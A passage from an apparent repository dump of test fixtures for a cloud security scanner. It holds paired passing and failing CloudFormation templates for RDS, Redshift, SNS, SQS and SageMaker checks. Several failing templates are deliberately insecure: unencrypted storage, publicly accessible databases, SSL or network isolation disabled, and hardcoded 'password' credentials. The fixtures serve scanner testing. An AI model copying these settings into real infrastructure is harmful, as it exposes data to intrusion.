    "content": "Resources:\n  Enabled:\n    Type: 'AWS::RDS::DBCluster'\n    Properties:\n      Engine: 'aurora'\n      MasterUsername: 'username'\n      MasterUserPassword: 'password'\n      EnableIAMDatabaseAuthentication: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RDSEncryption/RDSEncryption-FAIL.yaml",
    "content": "Resources:\n  MyDB0:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n  MyDB1:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n      StorageEncrypted: false\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RDSEncryption/RDSEncryption-PASSED.yaml",
    "content": "Resources:\n  MyDB0:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n      StorageEncrypted: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RDSEncryption/RDSEncryption-UNKNOWN.yaml",
    "content": "Resources:\n  MyDBAurora0:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.r3.2xlarge'\n      Engine: 'aurora'\n  MyDBAurora1:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.r3.2xlarge'\n      Engine: 'aurora-mysql'\n  MyDBAurora2:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.medium'\n      Engine: 'aurora-postgresql'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RDSEnhancedMonitorEnabled/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Default:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RDSEnhancedMonitorEnabled/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Enabled:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n      MonitoringInterval: '60'\n      MonitoringRoleArn: 'arn:aws:iam::123456789012:role/rds-monitoring-role'\n  EnabledNumber:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n      MonitoringInterval: 30\n      MonitoringRoleArn: 'arn:aws:iam::123456789012:role/rds-monitoring-role'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RDSIAMAuthentication/RDSIAMAuthentication-FAIL.yaml",
    "content": "Resources:\n  DefaultMysql:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'username'\n      MasterUserPassword: 'password'\n  DefaultPostgres:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'postgres'\n      MasterUsername: 'username'\n      MasterUserPassword: 'password'\n  DisabledMysql:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'username'\n      MasterUserPassword: 'password'\n      EnableIAMDatabaseAuthentication: false\n  DisabledPostgres:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'postgres'\n      MasterUsername: 'username'\n      MasterUserPassword: 'password'\n      EnableIAMDatabaseAuthentication: false\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RDSIAMAuthentication/RDSIAMAuthentication-PASSED.yaml",
    "content": "Resources:\n  EnabledMysql:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'username'\n      MasterUserPassword: 'password'\n      EnableIAMDatabaseAuthentication: true\n  EnabledPostgres:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'postgres'\n      MasterUsername: 'username'\n      MasterUserPassword: 'password'\n      EnableIAMDatabaseAuthentication: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RDSIAMAuthentication/RDSIAMAuthentication-UNKNOWN.yaml",
    "content": "Resources:\n  Mariadb:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mariadb'\n      MasterUsername: 'username'\n      MasterUserPassword: 'password'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RDSMultiAZEnabled/RDSMultiAZEnabled-FAILED-2.yaml",
    "content": "Resources:\n  MyDBDefault:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb_default'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RDSMultiAZEnabled/RDSMultiAZEnabled-FAILED.yaml",
    "content": "Resources:\n  MyDBDisabled:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb_disabled'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n      MultiAZ: false"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RDSMultiAZEnabled/RDSMultiAZEnabled-PASSED.yaml",
    "content": "Resources:\n  MyDBEnabled:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb_enabled'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n      MultiAZ: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RDSMultiAZEnabled/RDSMultiAZEnabled-UNKNOWN.yaml",
    "content": "Resources:\n  MyDBAurora:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb_enabled'\n      DBInstanceClass: 'db.r3.2xlarge'\n      Engine: 'aurora-mysql'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RDSPubliclyAccessible/RDSPubliclyAccessible-FAIL.yaml",
    "content": "Resources:\n  MyDB:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n      PubliclyAccessible: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RDSPubliclyAccessible/RDSPubliclyAccessible-PASSED-2.yaml",
    "content": "Resources:\n  MyDB:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n      PubliclyAccessible: false\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RDSPubliclyAccessible/RDSPubliclyAccessible-PASSED.yaml",
    "content": "Resources:\n  MyDB:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RedShiftSSL/RedShiftSSL-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  RedshiftParameterGroupDefault:\n    Type: AWS::Redshift::ClusterParameterGroup\n    Properties:\n      Description: parameter group\n      ParameterGroupFamily: redshift-1.0\n      Parameters:\n        - ParameterName: \"enable_user_activity_logging\"\n          ParameterValue: \"true\"\n  RedshiftParameterGroupDefault2:\n    Type: AWS::Redshift::ClusterParameterGroup\n    Properties:\n      Description: parameter group\n      ParameterGroupFamily: redshift-1.0\n      Parameters:\n        - ParameterName: \"enable_user_activity_logging\"\n          ParameterValue: true\n  RedshiftParameterGroupDisabled:\n    Type: AWS::Redshift::ClusterParameterGroup\n    Properties:\n      Description: parameter group\n      ParameterGroupFamily: redshift-1.0\n      Parameters:\n        - ParameterName: \"require_ssl\"\n          ParameterValue: \"false\"\n  RedshiftParameterGroupDisabled2:\n    Type: AWS::Redshift::ClusterParameterGroup\n    Properties:\n      Description: parameter group\n      ParameterGroupFamily: redshift-1.0\n      Parameters:\n        - ParameterName: \"require_ssl\"\n          ParameterValue: false\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RedShiftSSL/RedShiftSSL-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  RedshiftParameterGroupEnabled:\n    Type: AWS::Redshift::ClusterParameterGroup\n    Properties:\n      Description: parameter group\n      ParameterGroupFamily: redshift-1.0\n      Parameters:\n        - ParameterName: \"require_ssl\"\n          ParameterValue: \"true\"\n  RedshiftParameterGroupEnabledBool:\n    Type: AWS::Redshift::ClusterParameterGroup\n    Properties:\n      Description: parameter group\n      ParameterGroupFamily: redshift-1.0\n      Parameters:\n        - ParameterName: \"require_ssl\"\n          ParameterValue: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RedshiftClusterEncryption/RedshiftClusterEncryption-FAILED.yaml",
    "content": "Resources:\n  RedshiftClusterDisabled:\n    Type: \"AWS::Redshift::Cluster\"\n    Properties:\n      DBName: \"mydb\"\n      MasterUsername: \"master\"\n      MasterUserPassword: \"MasterUserPassword\"\n      NodeType: \"ds2.xlarge\"\n      ClusterType: \"single-node\"\n      Encrypted: false\n  RedshiftClusterDefault:\n    Type: \"AWS::Redshift::Cluster\"\n    Properties:\n      DBName: \"mydb\"\n      MasterUsername: \"master\"\n      MasterUserPassword: \"MasterUserPassword\"\n      NodeType: \"ds2.xlarge\"\n      ClusterType: \"single-node\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RedshiftClusterEncryption/RedshiftClusterEncryption-PASSED.yaml",
    "content": "Resources:\n  RedshiftClusterEnabled:\n    Type: \"AWS::Redshift::Cluster\"\n    Properties:\n      DBName: \"mydb\"\n      MasterUsername: \"master\"\n      MasterUserPassword: \"MasterUserPassword\"\n      NodeType: \"ds2.xlarge\"\n      ClusterType: \"single-node\"\n      Encrypted: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RedshiftClusterLogging/RedshiftClusterLogging-FAILED.yaml",
    "content": "Resources:\n  RedshiftClusterDefault:\n    Type: \"AWS::Redshift::Cluster\"\n    Properties:\n      DBName: \"mydb\"\n      MasterUsername: \"master\"\n      MasterUserPassword: \"MasterUserPassword\"\n      NodeType: \"ds2.xlarge\"\n      ClusterType: \"single-node\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RedshiftClusterLogging/RedshiftClusterLogging-PASSED.yaml",
    "content": "Resources:\n  RedshiftClusterEnabled:\n    Type: \"AWS::Redshift::Cluster\"\n    Properties:\n      DBName: \"mydb\"\n      MasterUsername: \"master\"\n      MasterUserPassword: \"MasterUserPassword\"\n      NodeType: \"ds2.xlarge\"\n      ClusterType: \"single-node\"\n      LoggingProperties:\n        BucketName: \"bucket\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RedshiftClusterPubliclyAccessible/RedshiftClusterPubliclyAccessible-FAILED.yaml",
    "content": "Resources:\n  RedshiftClusterDisabled:\n    Type: \"AWS::Redshift::Cluster\"\n    Properties:\n      DBName: \"mydb\"\n      MasterUsername: \"master\"\n      MasterUserPassword: \"MasterUserPassword\"\n      NodeType: \"ds2.xlarge\"\n      ClusterType: \"single-node\"\n      PubliclyAccessible: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RedshiftClusterPubliclyAccessible/RedshiftClusterPubliclyAccessible-PASSED.yaml",
    "content": "Resources:\n  RedshiftClusterDefault:\n    Type: \"AWS::Redshift::Cluster\"\n    Properties:\n      DBName: \"mydb\"\n      MasterUsername: \"master\"\n      MasterUserPassword: \"MasterUserPassword\"\n      NodeType: \"ds2.xlarge\"\n      ClusterType: \"single-node\"\n  RedshiftClusterEnabled:\n    Type: \"AWS::Redshift::Cluster\"\n    Properties:\n      DBName: \"mydb\"\n      MasterUsername: \"master\"\n      MasterUserPassword: \"MasterUserPassword\"\n      NodeType: \"ds2.xlarge\"\n      ClusterType: \"single-node\"\n      PubliclyAccessible: false\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RedshiftInEc2ClassicMode/RedshiftInEc2ClassicMode-FAILED.yaml",
    "content": "Resources:\n  RedshiftClusterDefault:\n    Type: \"AWS::Redshift::Cluster\"\n    Properties:\n      DBName: \"mydb\"\n      MasterUsername: \"master\"\n      MasterUserPassword: \"MasterUserPassword\"\n      NodeType: \"ds2.xlarge\"\n      ClusterType: \"single-node\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RedshiftInEc2ClassicMode/RedshiftInEc2ClassicMode-PASSED.yaml",
    "content": "Resources:\n  RedshiftClusterEnabled:\n    Type: \"AWS::Redshift::Cluster\"\n    Properties:\n      DBName: \"mydb\"\n      MasterUsername: \"master\"\n      MasterUserPassword: \"MasterUserPassword\"\n      NodeType: \"ds2.xlarge\"\n      ClusterType: \"single-node\"\n      ClusterSubnetGroupName: \"subnet-ebd9cead\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SNSTopicEncryption/test_SNSTopicEncryption-FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: Example SNS topic\nResources:\n  MySNSTopic:\n    Type: AWS::SNS::Topic\n    Properties:\n      Subscription:\n        - Endpoint: \"SNSEndpoint\"\n          Protocol: \"sqs\"\n      TopicName: \"SampleTopic\""
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SNSTopicEncryption/test_SNSTopicEncryption-PASSED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: Example SNS topic\nResources:\n  MySNSTopic:\n    Type: AWS::SNS::Topic\n    Properties:\n      Subscription:\n        - Endpoint: \"SNSEndpoint\"\n          Protocol: \"sqs\"\n      TopicName: \"SampleTopic\"\n      KmsMasterKeyId: \"kms_id\""
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SQSQueueEncryption/test_SQSQueueEncryption-FAILED.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  MySourceQueue:\n    Type: AWS::SQS::Queue\n    Properties:\n      RedrivePolicy:\n        deadLetterTargetArn: \"example_arn\"\n        maxReceiveCount: 5\n      KmsMasterKeyId: \"\""
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SQSQueueEncryption/test_SQSQueueEncryption-FAILED2.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  MySourceQueue:\n    Type: AWS::SQS::Queue\n    Properties:\n      RedrivePolicy:\n        deadLetterTargetArn: \"example_arn\"\n        maxReceiveCount: 5"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SQSQueueEncryption/test_SQSQueueEncryption-PASSED.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  MySourceQueue:\n    Type: AWS::SQS::Queue\n    Properties:\n      RedrivePolicy:\n        deadLetterTargetArn: \"example_arn\"\n        maxReceiveCount: 5\n      KmsMasterKeyId: \"kms_id\""
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SagemakerDataQualityJobDefinitionEncryption/SagemakerDataQualityJobDefinitionEncryption-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  MySageMakerRole:\n    Type: \"AWS::IAM::Role\"\n    Properties:\n      AssumeRolePolicyDocument:\n        Version: \"2012-10-17\"\n        Statement:\n          - Effect: \"Allow\"\n            Principal:\n              Service:\n                - \"sagemaker.amazonaws.com\"\n            Action:\n              - \"sts:AssumeRole\"\n\n  MyDataQualityJobDefinitionFail:\n    Type: \"AWS::SageMaker::DataQualityJobDefinition\"\n    Properties:\n      JobDefinitionName: \"MyDataQualityJob\"\n      RoleArn: !GetAtt MySageMakerRole.Arn\n      DataQualityAppSpecification:\n        ImageUri: \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-image:latest\"\n      DataQualityJobInput:\n        EndpointInput:\n          EndpointName: \"my-endpoint\"\n          LocalPath: \"/opt/ml/processing/input\"\n      DataQualityJobOutputConfig:\n        MonitoringOutputs:\n          - S3Output:\n              S3Uri: \"s3://my-sagemaker-bucket/output\"\n              LocalPath: \"/opt/ml/processing/output\"\n              S3UploadMode: \"Continuous\"\n      JobResources:\n        ClusterConfig:\n          InstanceCount: 1\n          InstanceType: \"ml.m5.xlarge\"\n          VolumeSizeInGB: 20\n          VolumeKmsKeyId: \"arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id\"  # Volume-specific KMS Key ID\n      StoppingCondition:\n        MaxRuntimeInSeconds: 3600\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SagemakerDataQualityJobDefinitionEncryption/SagemakerDataQualityJobDefinitionEncryption-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  MySageMakerRole:\n    Type: \"AWS::IAM::Role\"\n    Properties:\n      AssumeRolePolicyDocument:\n        Version: \"2012-10-17\"\n        Statement:\n          - Effect: \"Allow\"\n            Principal:\n              Service:\n                - \"sagemaker.amazonaws.com\"\n            Action:\n              - \"sts:AssumeRole\"\n\n  MyDataQualityJobDefinitionPass:\n    Type: \"AWS::SageMaker::DataQualityJobDefinition\"\n    Properties:\n      JobDefinitionName: \"MyDataQualityJob\"\n      RoleArn: !GetAtt MySageMakerRole.Arn\n      DataQualityAppSpecification:\n        ImageUri: \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-image:latest\"\n      DataQualityJobInput:\n        EndpointInput:\n          EndpointName: \"my-endpoint\"\n          LocalPath: \"/opt/ml/processing/input\"\n      DataQualityJobOutputConfig:\n        KmsKeyId: \"arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id\"\n        MonitoringOutputs:\n          - S3Output:\n              S3Uri: \"s3://my-sagemaker-bucket/output\"\n              LocalPath: \"/opt/ml/processing/output\"\n              S3UploadMode: \"Continuous\"\n      JobResources:\n        ClusterConfig:\n          InstanceCount: 1\n          InstanceType: \"ml.m5.xlarge\"\n          VolumeSizeInGB: 20\n          VolumeKmsKeyId: \"arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id\"  # Volume-specific KMS Key ID\n      StoppingCondition:\n        MaxRuntimeInSeconds: 3600\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SagemakerDataQualityJobDefinitionTrafficEncryption/SagemakerDataQualityJobDefinitionTrafficEncryption-FAILED.yaml",
    "content": "Resources:\n  DataQualityJobDefinitionFail1:\n    Type: \"AWS::SageMaker::DataQualityJobDefinition\"\n    Properties:\n      JobDefinitionName: \"MyDataQualityJobDefinition\"\n      DataQualityBaselineConfig:\n        BaseliningJobName: \"MyBaselineJob\"\n      DataQualityAppSpecification:\n        ImageUri: \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-custom-image:latest\"\n      DataQualityJobInput:\n        EndpointInput:\n          EndpointName: \"MyEndpoint\"\n          LocalPath: \"/opt/ml/processing/input\"\n      DataQualityJobOutputConfig:\n        MonitoringOutputs:\n          - S3Output:\n              S3Uri: \"s3://my-bucket/output/\"\n              LocalPath: \"/opt/ml/processing/output\"\n              S3UploadMode: \"EndOfJob\"\n      JobResources:\n        ClusterConfig:\n          InstanceCount: 1\n          InstanceType: ml.m5.large\n          VolumeSizeInGB: 50\n      RoleArn: \"arn:aws:iam::123456789012:role/service-role/AmazonSageMaker-ExecutionRole-20200601T123456\"\n      NetworkConfig:\n        EnableInterContainerTrafficEncryption: false\n      StoppingCondition:\n        MaxRuntimeInSeconds: 3600\n  DataQualityJobDefinitionFail2:\n    Type: \"AWS::SageMaker::DataQualityJobDefinition\"\n    Properties:\n      JobDefinitionName: \"MyDataQualityJobDefinition\"\n      DataQualityBaselineConfig:\n        BaseliningJobName: \"MyBaselineJob\"\n      DataQualityAppSpecification:\n        ImageUri: \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-custom-image:latest\"\n      DataQualityJobInput:\n        EndpointInput:\n          EndpointName: \"MyEndpoint\"\n          LocalPath: \"/opt/ml/processing/input\"\n      DataQualityJobOutputConfig:\n        MonitoringOutputs:\n          - S3Output:\n              S3Uri: \"s3://my-bucket/output/\"\n              LocalPath: \"/opt/ml/processing/output\"\n              S3UploadMode: \"EndOfJob\"\n      JobResources:\n        ClusterConfig:\n          InstanceCount: 1\n          InstanceType: ml.m5.large\n          VolumeSizeInGB: 50\n      RoleArn: \"arn:aws:iam::123456789012:role/service-role/AmazonSageMaker-ExecutionRole-20200601T123456\"\n      StoppingCondition:\n        MaxRuntimeInSeconds: 3600"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SagemakerDataQualityJobDefinitionTrafficEncryption/SagemakerDataQualityJobDefinitionTrafficEncryption-PASSED.yaml",
    "content": "Resources:\n  DataQualityJobDefinitionPass:\n    Type: \"AWS::SageMaker::DataQualityJobDefinition\"\n    Properties:\n      JobDefinitionName: \"MyDataQualityJobDefinition\"\n      DataQualityBaselineConfig:\n        BaseliningJobName: \"MyBaselineJob\"\n      DataQualityAppSpecification:\n        ImageUri: \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-custom-image:latest\"\n      DataQualityJobInput:\n        EndpointInput:\n          EndpointName: \"MyEndpoint\"\n          LocalPath: \"/opt/ml/processing/input\"\n      DataQualityJobOutputConfig:\n        MonitoringOutputs:\n          - S3Output:\n              S3Uri: \"s3://my-bucket/output/\"\n              LocalPath: \"/opt/ml/processing/output\"\n              S3UploadMode: \"EndOfJob\"\n      JobResources:\n        ClusterConfig:\n          InstanceCount: 1\n          InstanceType: ml.m5.large\n          VolumeSizeInGB: 50\n      RoleArn: \"arn:aws:iam::123456789012:role/service-role/AmazonSageMaker-ExecutionRole-20200601T123456\"\n      NetworkConfig:\n        EnableInterContainerTrafficEncryption: true\n      StoppingCondition:\n        MaxRuntimeInSeconds: 3600"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SagemakerDataQualityJobDefinitionVolumeEncryption/SagemakerDataQualityJobDefinitionVolumeEncryption-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  MySageMakerRole:\n    Type: \"AWS::IAM::Role\"\n    Properties:\n      AssumeRolePolicyDocument:\n        Version: \"2012-10-17\"\n        Statement:\n          - Effect: \"Allow\"\n            Principal:\n              Service:\n                - \"sagemaker.amazonaws.com\"\n            Action:\n              - \"sts:AssumeRole\"\n\n  MyDataQualityJobDefinitionFail1:\n    Type: \"AWS::SageMaker::DataQualityJobDefinition\"\n    Properties:\n      JobDefinitionName: \"MyDataQualityJob\"\n      RoleArn: !GetAtt MySageMakerRole.Arn\n      DataQualityAppSpecification:\n        ImageUri: \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-image:latest\"\n      DataQualityJobInput:\n        EndpointInput:\n          EndpointName: \"my-endpoint\"\n          LocalPath: \"/opt/ml/processing/input\"\n      DataQualityJobOutputConfig:\n        KmsKeyId: \"arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id\"\n        MonitoringOutputs:\n          - S3Output:\n              S3Uri: \"s3://my-sagemaker-bucket/output\"\n              LocalPath: \"/opt/ml/processing/output\"\n              S3UploadMode: \"Continuous\"\n      JobResources:\n        ClusterConfig:\n          InstanceCount: 1\n          InstanceType: \"ml.m5.xlarge\"\n          VolumeSizeInGB: 20\n      StoppingCondition:\n        MaxRuntimeInSeconds: 3600\n\n  MyDataQualityJobDefinitionFail2:\n    Type: \"AWS::SageMaker::DataQualityJobDefinition\"\n    Properties:\n      JobDefinitionName: \"MyDataQualityJob\"\n      RoleArn: !GetAtt MySageMakerRole.Arn\n      DataQualityAppSpecification:\n        ImageUri: \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-image:latest\"\n      DataQualityJobInput:\n        EndpointInput:\n          EndpointName: \"my-endpoint\"\n          LocalPath: \"/opt/ml/processing/input\"\n      DataQualityJobOutputConfig:\n        KmsKeyId: \"arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id\"\n        MonitoringOutputs:\n          - S3Output:\n              S3Uri: \"s3://my-sagemaker-bucket/output\"\n              LocalPath: \"/opt/ml/processing/output\"\n              S3UploadMode: \"Continuous\"\n      JobResources:\n        ClusterConfig:\n          InstanceCount: 2\n          InstanceType: \"ml.m5.xlarge\"\n          VolumeSizeInGB: 30\n      StoppingCondition:\n        MaxRuntimeInSeconds: 3600\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SagemakerDataQualityJobDefinitionVolumeEncryption/SagemakerDataQualityJobDefinitionVolumeEncryption-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  MySageMakerRole:\n    Type: \"AWS::IAM::Role\"\n    Properties:\n      AssumeRolePolicyDocument:\n        Version: \"2012-10-17\"\n        Statement:\n          - Effect: \"Allow\"\n            Principal:\n              Service:\n                - \"sagemaker.amazonaws.com\"\n            Action:\n              - \"sts:AssumeRole\"\n\n  MyDataQualityJobDefinitionPass:\n    Type: \"AWS::SageMaker::DataQualityJobDefinition\"\n    Properties:\n      JobDefinitionName: \"MyDataQualityJob\"\n      RoleArn: !GetAtt MySageMakerRole.Arn\n      DataQualityAppSpecification:\n        ImageUri: \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-image:latest\"\n      DataQualityJobInput:\n        EndpointInput:\n          EndpointName: \"my-endpoint\"\n          LocalPath: \"/opt/ml/processing/input\"\n      DataQualityJobOutputConfig:\n        KmsKeyId: \"arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id\"\n        MonitoringOutputs:\n          - S3Output:\n              S3Uri: \"s3://my-sagemaker-bucket/output\"\n              LocalPath: \"/opt/ml/processing/output\"\n              S3UploadMode: \"Continuous\"\n      JobResources:\n        ClusterConfig:\n          InstanceCount: 1\n          InstanceType: \"ml.m5.xlarge\"\n          VolumeSizeInGB: 20\n          VolumeKmsKeyId: \"arn:aws:kms:us-west-2:123456789012:key/my-existing-volume-kms-key-id\"\n      StoppingCondition:\n        MaxRuntimeInSeconds: 3600\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SagemakerModelWithNetworkIsolation/SagemakerModelWithNetworkIsolation-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  SageMakerExecutionRole:\n    Type: 'AWS::IAM::Role'\n    Properties:\n      RoleName: 'SageMakerExecutionRole'\n      AssumeRolePolicyDocument:\n        Version: '2012-10-17'\n        Statement:\n          - Effect: 'Allow'\n            Principal:\n              Service: 'sagemaker.amazonaws.com'\n            Action: 'sts:AssumeRole'\n      Policies:\n        - PolicyName: 'SageMakerExecutionPolicy'\n          PolicyDocument:\n            Version: '2012-10-17'\n            Statement:\n              - Effect: 'Allow'\n                Action:\n                  - 's3:GetObject'\n                  - 's3:PutObject'\n                Resource: 'arn:aws:s3:::your-s3-bucket-name/*'\n\n  SageMakerModelFail1:\n    Type: 'AWS::SageMaker::Model'\n    Properties:\n      ModelName: 'ExampleSageMakerModel'\n      ExecutionRoleArn: !GetAtt SageMakerExecutionRole.Arn\n      PrimaryContainer:\n        Image: '123456789012.dkr.ecr.us-west-2.amazonaws.com/my-sagemaker-image:latest'\n        Mode: 'SingleModel'\n        ModelDataUrl: 's3://your-s3-bucket-name/model.tar.gz'\n      EnableNetworkIsolation: false\n\n  SageMakerModelFail2:\n    Type: 'AWS::SageMaker::Model'\n    Properties:\n      ModelName: 'ExampleSageMakerModel'\n      ExecutionRoleArn: !GetAtt SageMakerExecutionRole.Arn\n      PrimaryContainer:\n        Image: '123456789012.dkr.ecr.us-west-2.amazonaws.com/my-sagemaker-image:latest'\n        Mode: 'SingleModel'\n        ModelDataUrl: 's3://your-s3-bucket-name/model.tar.gz'"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SagemakerModelWithNetworkIsolation/SagemakerModelWithNetworkIsolation-PASSED.yaml",
